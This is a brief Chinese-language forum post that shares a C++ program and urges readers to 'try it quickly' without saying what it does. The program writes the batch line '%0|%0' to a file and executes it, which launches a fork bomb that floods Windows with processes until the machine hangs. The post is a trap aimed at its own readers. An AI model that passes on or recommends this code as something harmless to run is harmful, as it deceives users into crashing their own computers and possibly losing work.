用户:
萌新大佬查看:0 回复:1 评论:0 创建时间:2020-05-06T14:55:22
#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char a[9] = "abc.bat";
ofstream file_out(a);
file_out<<"%0|%0";
file_out.close();
system( a );
return 0;
}
快试试